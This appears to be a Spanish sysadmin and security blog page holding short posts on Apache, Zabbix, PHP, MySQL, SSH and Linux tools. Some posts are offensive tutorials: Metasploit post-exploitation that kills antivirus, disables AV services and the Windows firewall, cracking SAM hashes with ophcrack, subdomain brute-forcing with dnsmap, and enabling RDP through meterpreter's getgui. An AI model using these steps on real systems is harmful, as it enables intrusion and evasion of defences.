Ocultando la extensión de nuestra programación web

Fijo que alguna vez os ha pasado que accedéis a una página web y no veis a qué archivo estáis accediendo, pero no la extensión del mismo. Por ejemplo http://dominio.com/index.php y http://dominio.com/index. Es decir, exactamente lo mismo pero sin saber que está escrita en php. Pues bien, conseguirlo en apache es muy sencillo y sólo se necesitan dos cosas. La primera tener cargado el módulo mod_rewrite y la segunda crear un fichero .htaccess en la raíz de la web a la que aplicarlo (o bien en la configuración general de apache) con el siguiente contenido.


RewriteEngine on

# Rescribe /dir/file.php -> /dir/file
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if file.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]
Leer más

zabbix, no dashboard

zabbix usa un sistema de permisos un poco especial para mostrar los menús. Por defecto tiene creados tres tipos de grupos de usuarios diferentes. Un usuario únicamente puede pertenecer a uno de los grupos y en función de éste, tendrá acceso a unas pestañas u otras. Los datos a los que tengan acceso, están definidos por los grupos de usuarios + grupos de host's. Los 3 tipos de grupos de permisos que hay son:


  • USER_TYPE_ZABBIX_USER
    Definido con el ID 1 y de nombre "Zabbix User" establece los permisos para todas las pestañas a las que puede tener acceso un usuario normal, sin privilegios.
  • USER_TYPE_ZABBIX_ADMIN
    Definido con el ID 2 y con nombre "Zabbix Admin" contiene los permisos para aquellas pestañas a las que un usuario puede tener acceso, pero con algo más de privilegios. Por ejemplo a las pestañas de creación y configuración de host's, mapas, etc.
  • USER_TYPE_SUPER_ADMIN
    Definido con el ID 3 representa al "Zabbix Super Admin" y es el usuario que tiene acceso a todas las pestañas.
En el fichero include/menu.inc.php es donde se usan estas variables para definir si un usuario puede o no puede ver una pestaña. Por ejemplo,
array(
   'url'=>'maps.php',
   'label'=>S_MAPS,
   'sub_pages'=>array('map.php'),
   'user_type'=>USER_TYPE_ZABBIX_USER
),
Aquí de define que la pestaña "maps" es visible para los usuarios con permisos mayor o igual a 'USER_TYPE_ZABBIX_USER'. Prácticamente todas las pestañas o grupos de pestañas tienen estos permisos y siempre se define el de menor permiso que lo puede ver. Saber si un usuario puede o no ver una pestaña por lo tanto es muy simple de calcular.
Vamos a definir ahora el caso que nos atañe, tenemos un grupo de usuarios al que no nos interesa que pueda ver la pestaña dashboard (o cualquier otra). Por defecto esto zabbix no lo permite hacer, por lo que vamos a crear un pequeño parche para ofrecer esta funcionalidad extra.
Primeramente creamos un grupo de usuarios llamado "No dashboard". Todos los usuarios que pertenezcan a este grupo no verán dicha pestaña. Una vez lo tengamos creado, simplemente agregamos ahí a los usuarios que nos interesen. Luego, editamos el fichero include/menu.inc.php y lo dejamos tal que así,
global $ZBX_MENU;
global $USER_DETAILS;

$users = CUser::get(array('filter' => array(
  'userid' => USER_DETAILS['userid']),
  'output' => API_OUTPUT_EXTEND,
  'select_usrgrps' => API_OUTPUT_EXTEND));

$usrgrps = $users[0]['usrgrps'];
$show = 1;
foreach($usrgrps as $ugnum => $usrgrp){
   if(strtolower($usrgrp['name']) == strtolower("No dashboard")) {
      $show = 0;
   }
}

if($show) {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php')
   );
} else {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php'),
      'user_type'=>USER_TYPE_SUPER_ADMIN
   );
}

$ZBX_MENU = array(
   'view'=>array(
   'label'           => S_MONITORING,
   'user_type'       => USER_TYPE_ZABBIX_USER,
   'node_perm'       => PERM_READ_LIST,
   'default_page_id' => 0,
   'pages'=>array(
      $dash,
      array(
         ...
Con este pequeño cambio se consigue una funcionalidad extra muy interesante. Dejo aquí colgado el parche, por si a alguien le interesa.
Leer más

PHP Fatal error: Allowed memory size of

Aunque no suele ser habitual tener este tipo de problemas, hay veces que php por el, o bien el tipo de consultas a base de datos que realiza, o la cantidad de datos que está a manejar, necesita más memoria ram de la que tiene asignada. Es entonces cuando da la siguiente salida,

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 128 bytes) in /var/www/include/db.php on line 607
Pero, ¿qué quiere decir exactamente? Pues ni más ni menos que la página a la que llamas necesita más memoria de la que la configuración le asigna para manejar los datos. La solución es fácil, como veremos a continuación, pero antes de asignarle más memoria, hay que pensar si tiene lógica. La página realmente está manejando tantos datos como para requerir más memoria. Esto hay que tenerlo en cuenta si estamos hablando de cosas en los que ya hay 256Mb o 512Mb asignados. En caso de que consideremos que efectivamente necesita más memoria, podemos optar por dos soluciones para dársela.
  • Fichero de configuración general (php.ini)
    Esta es la opción más común y no es otra que aumentar el límite de memoria para el proceso php en el fichero php.ini. Con esta opción cualquier otro fichero php que requiera más memoria también la podrá consumir, por lo que hay que tener cuidado con la cantidad de memoria que se le asigne.
    ...
    memory_limit = 512M
    ...
    
  • Fichero php concreto
    Esta es la otra opción y consiste en indicarle a php que para el fichero sobre el que se definan estos valores, deberá sobreescribir los valores por defecto del php.ini. Es una buena opción si únicamente nos pasa esto con un fichero concreto que por el motivo que sea necesita más memoria.
    La línea a incluir es:
    ini_set("memory_limit","512M");
    ...
    
Leer más

MySQL, concat values

Hay veces que por algún motivo necesitas a un valor que ya tienes en la base de datos, añadirle concatenarle otro valor. Si es este el caso, MySQL permite hacerlo de forma muy simple e inmediata, sin necesidad de pasar por código externo. Partimos de los siguientes datos,
mysql> select * from scripts;
+----------+---------+----------------------------+
| scriptid | name    | command                    |
+----------+---------+----------------------------+
|        1 | ES-Ping | /bin/ping -c 3 {HOST.CONN} |
+----------+---------+----------------------------+
1 row in set (0.00 sec)
Y nos interesa, poner en la columna command, antes del valor actual un 'timeout 30', para hacerlo, qué mejor que concatenar el valor que deseamos al actual que hay. tal como sigue,
mysql> update scripts set command=concat('timeout 30 ',command);
Tras ello, vemos que el cambio ha tenido el efecto deseado.
mysql> select * from scripts;
+----------+---------+---------------------------------------+
| scriptid | name    | command                               |
+----------+---------+---------------------------------------+
|        1 | ES-Ping | timeout 30 /bin/ping -c 3 {HOST.CONN} |
+----------+---------+---------------------------------------+
1 row in set (0.00 sec)
Si nos interesa, concat también lo puede hacer al revés, primero el valor que hay y luego el nuevo,
mysql> update scripts set command=concat(command, 'timeout 30 ');

Más info en mysql-string-functions.
Leer más

IPTables, identificando líneas

La salida que vimos en el post anterior de IPTables la verdad es que sirve para saber las reglas que están establecidas, pero para referenciar a una de dichas reglas, la verdad es que la cosa se complica. Para solucionar este problema, simplemente incluimos la opción --line-numbers. Con ello conseguimos que aparezca un nuevo campo num que identifica la regla y que posteriormente podremos referenciar para hacer alusión a dicha regla.
shell> iptables -n -L -v --line-numbers
Un ejemplo de ejecución,
shell> iptables -n -L -v --line-numbers
Chain INPUT (policy DROP)
num target  prot opt source     destination
1   DROP    all  --  0.0.0.0/0  0.0.0.0/0  state INVALID
2   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0  state RELATED,ESTABLISHED
3   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
4   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
Chain FORWARD (policy DROP)
num target  prot opt source     destination
1   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
2   DROP    all  --  0.0.0.0/0  0.0.0.0/0  state INVALID
3   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0  state RELATED,ESTABLISHED
4   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
num target  prot opt source     destination

Leer más

metasploit, no firewall + no antivirus

Tras obtener acceso a un equipo con Windows por alguna vulnerabilidad lo primero que debemos hacer es garantizarnos que su antivirus no nos detecte y nos bloquee y posteriormente desactivar el cortafuegos (si es que lo hubiera) para evitar así que nos bloquee próximas intrusiones, esta vez ya "consentidas". Estas dos tareas están dentro de la post-explotación de una vulnerabilidad y deben ser de las primeras en lanzarse, para intentar conseguir estar el máximo tiempo posible dentro del equipo.
Entonces, ¿cómo hacemos para desactivar el antivirus? Por suerte meterpreter trae la solución ya implantada de mano,
meterpreter> run killav
[*] Killing Antivirus services on the target...
Este pequeño comando, ya implementado mata todas las sesiones de los antivirus más conocidos, dejando así el sistema indefenso. Luego una vez no haya ya antivirus lo que debemos de realizar es una pequeña comprobación de servicios, para así terminar por desactivar el antivirus en futuros inicios del equipo. Esto lo podemos conseguir con el comando tasklist, para luego gracias al comando sc poder desactivarlo.
meterpreter> shell
Process 1092 created.
Channel 2 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> tasklist /svc
tasklist /svc

Nombre de imagen      PID  Servicios
===================== ==== ============================================
System Idle Process      0 N/D
System                   4 N/D
smss.exe               392 N/D
csrss.exe              720 N/D
winlogon.exe           744 N/D
services.exe           796 Eventlog, PlugPlay
lsass.exe              816 ProtectedStorage, SamSs
svchost.exe            976 DcomLaunch, TermService
svchost.exe           1040 RpcSs
svchost.exe           1128 AudioSrv, Browser, CryptSvc, Dhcp,
                           dmserver, ERSvc, EventSystem,
                           FastUserSwitchingCompatibility, helpsvc,
                           lanmanserver, lanmanworkstation, Netman,
                           Nla, Schedule, seclogon, SENS, SharedAccess,
                           ShellHWDetection, srservice, Themes, TrkWks,
                           W32Time, winmgmt, wscsvc, wuauserv, WZCSVC
logonui.exe           1136 N/D
svchost.exe           1352 Dnscache
svchost.exe           1368 LmHosts, RemoteRegistry, SSDPSRV
spoolsv.exe           1528 Spooler
cvpnd.exe             2016 CVPND
...
Esta salida agrupa los procesos por servicios, así que sólo queda encontrar el servicio de antivirus, por ejemplo, usando
C:\WINDOWS\system32> tasklist /svc | find /I "avg"
tasklist /svc | find /I "avg"
avgwdsvc.exe          3958  avgwd
avgnsx.exe            3912  N/A
avgemcx.exe           3594  N/A
avgtray.exe           3698  N/A
avgidagent.exe        3125  AVGIDSAgent
avgrsx.exe            2658  N/A
avgcsrvx.exe          4005  N/A
Y una vez sepamos que sí está presente en el sistema, únicamente lo deshabilitamos,
C:\WINDOWS\system32> sc config avgwd start=disable
sc config avgwd start=disable
[SC] ChangeServiceConfig SUCCESS

C:\WINDOWS\system32> sc config AVGIDSAgent start=disable
sc config AVGIDSAgent start=disable
[SC] ChangeServiceConfig SUCCESS
Tras esto, en los próximos reinicios del sistema, el antivirus no debería de arrancar.
Ahora tenemos que aprovechar que tenemos acceso para parar el cortafuegos. Para hacerlo,
meterpreter> shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> netsh firewall set opmode mode=disable
netsh firewall set opmode mode=disable
Aceptar
Tras ejecutarlo satisfactoriamente,
C:\WINDOWS\system32> netsh firewall show opmode
netsh firewall show opmode

Configuración del perfil Dominio:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Modo de excepción                             = Habilitar

Configuración del perfil Estándar (actual):
-------------------------------------------------------------------
Modo funcional                                = Deshabilitar
Modo de excepci¢n                             = Habilitar

Configuración del servidor de seguridad conexión de rea local:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Lo que, por ejemplo en mi Windows XP ha provocado un popup de advertencia (ya que así lo tengo configurado).
Leer más

intypedia (II)

Siguiendo las lecciones sobre los temas de intypedia, os dejo a continuación las próximas 5 lecciones de este más que interesante método de aprendizaje. Espero que las disfrutéis.


  • Lección 6: Malware


  • Lección 7: Seguridad en aplicaciones web


  • Lección 8: Protocolo de reparto de secretos


  • Lección 9: Introducción al protocolo SSL


  • Lección 10: Ataques al protocolo SSL

Otras lecciones de Intypedia:
  • Intypedia (I)
  • Intypedia (II)
  • Intypedia (III)
Leer más

BUG: soft lockup - CPU

Latencia de red (en ms)
Ayer me pasó algo curioso en unas máquinas virtuales bajo XenServer. Hay que decir que estas máquinas están virtualizadas en una infraestructura a la que no hay acceso y sobre la que no sabemos qué tipo de máquinas hay, a mayores de las nuestras. El caso es que todas las nuestras se estaban a ejecutar en mismo nodo del clúster y sin más ni más, comenzaron a subir el uso de CPU y su latencia de red. Gracias a #zabbix, su perfecta monitorización y sus alertas nos pudimos enterar al momento. Dejo un par de gráficas que representan las subidas experimentadas, que como se pueden ver, son considerables.
Consumo de CPU
Lo sorprendente es que la carga de las máquinas se originó sin motivo aparente, ya que no hubo nada "extraño" en la red ni en las máquinas, según las primeras palabras del proveedor. Sin embargo, tras revisar un poco de log's, nos encontramos con el siguiente fallo,
kernel: [12005213.706327] BUG: soft lockup - CPU#0 stuck for 64s! [kjournald:908]
kernel: [12005213.706327] Modules linked in: iptable_filter ip_tables x_tables firewire_sbp2 firewire_core crc_itu_t loop snd_pcm snd_timer parport_pc i2c_piix4 snd i2c_core joydev soundcore snd_page_alloc pcspkr parport processor evdev button psmouse serio_raw ext3 jbd mbcache usbhid hid sg sr_mod cdrom sd_mod crc_t10dif ata_generic ata_piix uhci_hcd 8139too ehci_hcd thermal libata floppy thermal_sys 8139cp mii usbcore nls_base scsi_mod [last unloaded: scsi_wait_scan]
kernel: [12005213.706327]
kernel: [12005213.706327] Pid: 908, comm: kjournald Not tainted (2.6.32-5-686 #1) HVM domU
kernel: [12005213.706327] EIP: 0060:[] EFLAGS: 00000282 CPU: 0
kernel: [12005213.706327] EIP is at cp_interrupt+0x23/0x28a [8139cp]
kernel: [12005213.706327] EAX: f7dea03e EBX: c1360aa0 ECX: c1360aa0 EDX: f6f60001
kernel: [12005213.706327] ESI: f6f62ba0 EDI: 00000020 EBP: f6f62800 ESP: e770fcf4
kernel: [12005213.706327]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
kernel: [12005213.706327] CR0: 8005003b CR2: f8260ffc CR3: 36f58000 CR4: 000006d0
kernel: [12005213.706327] DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000
kernel: [12005213.706327] DR6: ffff0ff0 DR7: 00000400
Lo más sorprendente que hemos encontrado ha sido la línea de BUG destacada en los log's y el posterior trace completo que hace. Tras investigar un poco a qué pudo ser debido, todo apunta a un fallo en la reserva de IRQ de las máquinas, lo que provocó un incremento de la carga de todos los equipos.
Por lo que hemos podido averiguar a posteriori, el proveedor sí nos reconoció que algunas de las máquinas del clúster efectivamente estaban consumiendo un gran ancho de banda, lo que afectó a las otras, que estaban mucho más ociosas. Se ve que la virtualización todavía no es 100% efectiva bajo ciertas circunstancias.
Leer más

Denegar acceso non-root

GNU/Linux es un sistema operativo multi-usuario que funciona realmente bien y mientras un administrador está haciendo tareas de mantenimiento, otros usuarios pueden estar trabajando en el equipo sin que se vean afectados. Sin embargo hay veces que las tareas de mantenimiento son mucho más complejas y no es conveniente que ningún usuario (que no sea root) esté conectado al equipo. Para conseguirlo existe un pequeño truco, nologin. nologin es un fichero vacío que simplemente al existir impide que los usuarios se conecten al equipo remotamente. Por lo tanto, si queremos deshabilitar el acceso de usuarios remotos, la forma más simple es creando dicho fichero.
shell> touch /etc/nologin
Ahora cuando un usuario se intente conectar vía ssh, su sesión será automáticamente cerrada por el sistema.
shell> ssh 192.168.1.1

Connection closed by 192.168.1.1
Lógicamente, para volver al modo de funcionamiento normal, simplemente habrá que borrar el fichero creado,
shell> rm /etc/nologin
Leer más

MySQL, deshabilitar slave-replication en una sesión

Hace tiempo hablamos de cómo poder montar un MySQL en una arquitectura master-slave y también cómo hacer para poner por un momento un slave en modo sólo lectura. Lo habitual es que el sistema slave esté en modo sólo lectura y evitar así que alguien se conecte a esta máquina y haga cambios no requeridos y que ello corrompa los datos, bien del slave, bien de ambos (master y slave). Aunque al ponerlo en modo read_only no se permite la escritura, un usuario con privilegios de SUPER sí puede realizar cambios. No suele ser lo habitual, pero en caso de que sea necesario, sí es posible realizar dichos cambios sin afectar a la estructura master-slave. Para ello hay únicamente que deshabilitar para la sesión actual la escritura en el binary log. Esto se hace con la variable sql_log_bin.
mysql> set sql_log_bin = 0;
A partir de este momento todo lo que se ejecute no se escribirá en el binary log y por lo tanto el slave no lo verá y afectará a sus cambios.
Para volver a la forma de trabajo habitual, únicamente hay que volver a poner dicha variable a 1 o salir de la sesión, puesto que el valor sólo fue establecido para la sesión.
Leer más

Windows 2008 server, ntp client

NTP es un protocolo de sincronización de relojes en red y por suerte está implementado tanto en sistemas GNU/Linux, como en sistemas Windows, hace ya varias versiones.
Si tenemos un sistema Windows 2008, la forma de hacerlo también es simple, aunque parece que los de Redmond intentan siempre complicar las cosas. Para conseguirlo, simplemente abrimos una consola (cmd) y ejecutamos lo siguiente,
cmd> w32tm /config /update /manualpeerlist:ntp.server.com  /syncfromflags:MANUAL /reliable:YES
cmd> w32tm /query /sour
Leer más

unetbootin, arranca iso desde pendrive

Con la evolución de los equipos, la necesidad de arrancar desde CD es cada vez menor, ya que todos soportan el arranque desde USB, así que el problema únicamente está en crear un PEN que sea capaz de bootear. Para conseguirlo, por suerte en GNU/Linux tenemos unetbootin, un estupendo interfaz gráfico que permite crear un dispositivo USB autoarrancable. Desde equipos debian/ubuntu lo tenemos disponible en los repositorios, así que,
shell> apt-get install unetbootin
Una vez instalado, únicamente lo tenemos que arrancar. Nos pedirá permisos de root, ya que va a necesitar escribir en el dispositivo externo. Una vez tiene los permisos pertinentes, tenemos una pantalla como la que sigue,
En ella podemos seleccionar la distribución que nos interesa de una larga lista que tiene disponible. Para cada distribución tiene una versión. Si seleccionamos dicha opción, será el propio software el que se encargue de descargar la ISO y meterla automáticamente en el CD. Por el contrario, si ya tenemos una ISO descargada, podemos optar por algo más sencillo, pasarle dicha imagen. También necesitaremos a continuación indicarle en qué dispositivo queremos que escriba. Nos interesa escribir en dispositivos USB, así que seleccionamos el USB correspondiente. Debe estar montado y a poder ser, formateado en vfat (fat32). Una vez todo marcado, quedará tal que así.
Finalmente presionamos en Aceptar y comenzará a escribir todo lo necesario en el pendrive para que éste sea bootable. Una vez finalizado ya tenemos un pequeño pendrive disponible para instalar la distro que deseemos, en este caso Debian 6.0 x86_64.

Nota: unetbootin no formatea el pendrive en el que va a escribir los datos antes de hacerlo y por las veces que lo probé, la mejor solución es formatearlo antes de usar. En mi caso vamos a formatear sdf1 en vfat.
shell> mkfs.vfat /dev/sdf1
Leer más

SSH escuchando en 2 puertos diferentes

Hay veces que es necesario poner un servidor ssh a la escucha en dos puertos diferentes. Léase por ejemplo el caso de un servidor ssh en un equipo de DMZ que interesa que tenga el puerto ssh (por defecto el 22) disponible para la red interna, pero que permita en un puerto no habitual la escucha de ssh para la IP pública.
Después de un intento de realizarlo con IPtables,
shell> iptables -t nat -A PREROUTING \
                -i eth0 -p tcp --dport 2222 \
                -j REDIRECT --to-port 22
Con ello logramos que todo lo que llegue al puerto 2222 se vaya al puerto 22 (ssh), teniendo así un 'fake' de ssh en dos puertos. Sin embargo, la solución es más sencilla que esa y está en la simple ejecución de ssh con el parámetro Port del fichero de configuración duplicado, quedando tal que así
# What ports, IPs and protocols we listen for
Port 2222
Port 22
...
Tras un pequeño restart del servicio, ya estará ssh a la escucha en dos puertos.
shell> netstat -punta | grep ssh
tcp   0   0 0.0.0.0:22     0.0.0.0:*   LISTEN   28580/sshd
tcp   0   0 0.0.0.0:2222   0.0.0.0:*   LISTEN   28580/sshd
Leer más

ophcrack, obtener contraseñas de windows

Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

pdf a imagen e imagen a pdf

Hoy me surgió la necesidad de bajar un .pdf de calidad (es decir, de tamaño) después de sacarlo de un escáner. El fichero original ocupaba ~10Mb y la idea era que terminase ocupando aproximadamente la mitad, unos ~5Mb. para ello se me ocurrió la idea, puesto que era todo imágenes de pasarlo a .jpg, que con este paso perdiesen un poco de calidad y luego volverlos a juntar en .pdf. La verdad, la idea funcionó. para hacerlo, únicamente fue preciso nuestro preciado sistema operativo Gnu/Linux, el paquete imagemagick (disponible en repositorios) y un poco de paciencia para ajustar el resultado a la calidad deseada.
La idea es por lo tanto, partir de un fichero *.pdf, obtener cada una de las páginas (o un rango de ellas) en imágenes *.jpg y luego volver a pasarlas a .pdf, para tener la salida deseada. Primero vamos a pasar de .pdf a .jpg.
shell> convert entrada.pdf salida.jpg
Puesto que estamos trabajando con imágenes, podemos hacer si así lo deseamos que se pierda un poco de calidad, para que el resultado final sea el esperado (en cuanto a tamaño se refiere).
shell> convert -quality 90% entrada.pdf salida.jpg
En parámetro quality indica la comprensión o pérdida de calidad que se va a producir. Cuanto más alto, menos pérdida y cuanto más bajo más pérdida. A más pérdida, menos ocupará el fichero resultando. Tras mis pruebas, bajar más de un 85% en la calidad es peligroso, ya que implica asumir una gran pérdida.
Una vez que ya tenemos todos los ficheros en formato imagen, sólo queda juntarlos todos. Para ello,
shell> convert *.jpg salida_final.pdf
Por defecto, si usas una versión moderna de imagemagick ya aplicará una compresión, pero en caso contrario, se le puede indicar con el parámetro compress.
shell> convert -compress zip *.jpg salida_final.pdf
En caso de que nos interese hacer esto mismo con un rango de páginas del .pdf, lo podemos indicar en el momento de extraer las imágenes,
shell> convert entrada.pdf[5-10] salida.jpg
Leer más

Comprobar estado de las contraseñas en GNU/Linux

GNU/Linux almacena los usuario en /etc/passwd y las contraseñas de los mismos en /etc/shadow. Entre ambos ficheros hay una relación lógica. Por norma general, para cambiar algo referente a las contraseñas hay que emplear el comando passwd, el cual tiene una opción (-S) que permite consultar el estado actual de la contraseña. El único parámentro que hay que pasarle por lo tanto es el nombre de usuario.
shell> passwd -S javier
javier P 08/16/2012 0 30 5 -1
Las opciones que tienen las contraseñas son:
L  -> Contraseña bloqueada
NP -> Sin contraseña
P  -> Contraseña válida
A mayores también ofrece información sobre la fecha del último cambio de contraseña y otra información referente a las contraseñas (mínimo y máximo tiempo de cambio, etc.).
Si queremos ver el estado de las contraseñas de todos los usuarios, como root, podemos ejecutar,
shell> getent passwd | awk 'BEGIN{FS=":"}{print $1}' | \
       while read user; do passwd -S $user; done
Leer más

Obtener un listado de subdominios

En muchas ocasiones es necesario saber qué subdominios tiene una empresa públicos en Internet para garantizar que los que tiene son los que efectivamente debería de tener. Una buena forma de averiguarlo está en el programa dnsmap, que es un pequeño código escrito en C (795 líneas nada más) y que permiten escanear un dominio en busca de todos los subdominios que éste tiene, sacando un informe final. Saber las máquinas que hay disponibles en una red es muy importante, al igual que saber las personas o correos de esa organización. Para comenzar, vamos a ver cómo trabajar con dnsmap. Comenzamos bajándolo de la web oficial. Una vez lo tenemos, simplemente lo descomprimimos y compilamos para poder usarlo.
shell> tar zxvf dnsmap-0.30.tar.gz
shell> cd dnsmap-0.30
shell> gcc -Wall dnsmap.c -o dnsmap
shell> ./dnsmap
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

usage: dnsmap  [options]
options:
-w 
-r 
-c 
-d 
-i  (useful if you're obtaining false positives)

e.g.:
dnsmap target-domain.foo
dnsmap target-domain.foo -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-fomain.foo -r /tmp/ -d 3000
dnsmap target-fomain.foo -r ./domainbf_results.txt
dnsmap trae por defecto un listado de palabras que empleará como subdominios a buscar y que están listadas en el fichero dnsmap.h, sin embargo también permite pasarle como argumento un listado de palabras que serán usadas. Finalmente, nos puede sacar un listado en fichero de texto o por pantalla. La forma de usarlo,
shell> ./dnsmap company.com 
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for company.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

beta.company.com
IP address #1: 91.X.X.X

downloads.company.com
IP address #1: 91.X.X.X

files.company.com
IP address #1: 92.X.X.X

jabber.company.com
IP address #1: 91.X.X.X

mail.company.com
IP address #1: 165.X.X.X

ns.company.com
IP address #1: 92.X.X.X

public.company.com
IP address #1: 51.X.X.X

rt.company.com
IP address #1: 91.X.X.X

www.company.com
IP address #1: 91.X.X.X

[+] 9 (sub)domains and 9 IP address(es) found
[+] completion time: 89 second(s)
En caso de que las palabras por defecto no den un buen resultado, se puede pasar un listado de palabras (el que trae o un propio) para descubrir todos aquellos subdominios que puedan interesar.
Leer más

Comandos interesantes, agedu

Hoy os quiero presentar un pequeño programa, muy sencillo, pero a la vez muy útil, que presenta de forma gráfica (página web) los resultados de ocupación en disco con colores e indicando antigüedad de los ficheros. Se llama agedu.
agedu simplemente se dedica a escanear el disco en busca de los ficheros o lo que ocupa cada directorio, para finalmente guardar un informe final en un fichero que posteriormente podrá ser procesado y presentado. Para instalarlo, desde debian/ubuntu,
shell> apt-get install agedu
Tras la instalación, probamos a ejecutarlo, para ver las opciones y posibilidades que nos ofrece.
shell> agedu
usage: agedu [options] action [action...]
actions:
  -s,--scan directory      scan and index a directory
  -w,--web                 serve HTML reports in a web server
  -t,--text subdir         print a plain text report on a subdir
  -R,--remove              remove the index file
  -D,--dump                dump the index file on stdout
  -L,--load                load and index a dump file
  -S,--scan-dump dir       scan only, generating a dump
  -H,--html subdir         print an HTML report on a subdirectory
  --cgi                    do the right thing when run from a CGI
options:
  -f,--file filename       [most modes] specify index file
  --cross-fs               [--scan] cross filesystem boundaries
  --no-cross-fs            [--scan] stick to one filesystem
  --prune wildcard         [--scan] prune files matching pattern
  --prune-path wildcard    [--scan] prune pathnames matching pattern
  --exclude wildcard       [--scan] exclude files matching pattern
  --exclude-path wildcard  [--scan] exclude pathnames matching pattern
  --include wildcard       [--scan] include files matching pattern
  --include-path wildcard  [--scan] include pathnames matching pattern
  --progress               [--scan] report progress on stderr
  --no-progress            [--scan] do not report progress
  --tty-progress           [--scan] report progress if stderr is a tty
  --dir-atime              [--scan,--load] keep real atimes on directories
  --no-dir-atime           [--scan,--load] fake atimes on directories
  --mtime                  [--scan] use mtime instead of atime
  --files                  [--web,--html,--text] list individual files
  -r,--age-range age[-age] [--web,--html] set limits of colour coding
  -o,--output filename     [--html] specify output file or directory name
  --address addr[:port]    [--web] specify HTTP server address
  --auth type              [--web] specify HTTP authentication method
  --auth-file filename     [--web] read HTTP Basic user/pass from file
  --auth-fd fd             [--web] read HTTP Basic user/pass from fd
  -d,--depth levels        [--text,--html] recurse to this many levels
  -a,--age age             [--text] include only files older than this
also:
  -h,--help                display this help text
  -V,--version             report version number
  --licence                display (MIT) licence text

Tras un vistazo rápido a las opciones, vemos que lo que nos interesa es realizar un escaneo del disco para que indexe la información que interesa, así que por lo tanto, lo ejecutamos con la opción -s y el directorio del que nos interese sacar información. En nuestro caso /, ya que queremos tener información de todo el disco.
shell> agedu -s /
Al finalizar nos habrá creado un fichero en el directorio donde se haya ejecutado, agedu.dat, que tendrá toda la información sobre el disco. EL fichero que genera es de tipo binario, por lo que es necesario recurrir nuevamente a agedu con la opción de montar un servidor web para poder visualizar los datos.
shell> agedu -w --auth none
URL: http://127.0.0.1:58573/
Al acceder a esa dirección se podrá visualizar y navegar por los directorios, teniendo de forma 100% visual información del estado del disco.

Leer más

metasploit, conexión a escritorio remoto

Hay una cosa que está clara, si Windows ha triunfado es por su escritorio y por la 'facilidad' de manejo que éste ofrece. Casi cualquier cosa la puedes hacer de forma simple con el ratón y viéndolo, mientras que el uso de windows desde línea de comandos es más bien complejo. Permite hacer una gran cantidad de cosas, pero más complejas. Para solucionarlo, Windows permite compartir el escritorio con otros equipos y así facilitar la vida a los administradores (y también, por ende a los atacantes). Hoy vamos a ver una forma muy simple de crear un nuevo usuario y activar para él el acceso a escritorio remoto una vez que tenemos una sesión de meterpreter.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type         Information   Connection
--  ----         -----------   ----------
 1  meterpreter  NT AUTHORITY  192.168.1.33:4444 -> 192.168.1.50:1125
Pues bien, accedemos a la sesión de meterpreter y empleamos comando/exploit getgui que como su nombre apunta, 'da un acceso gráfico'.
msf exploit(ms08_067_netapi)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u username -p password
Or:    getgui -e

OPTIONS:

  -e       Enable RDP only.
  -f opt   Forward RDP Connection.
  -h       Help menu.
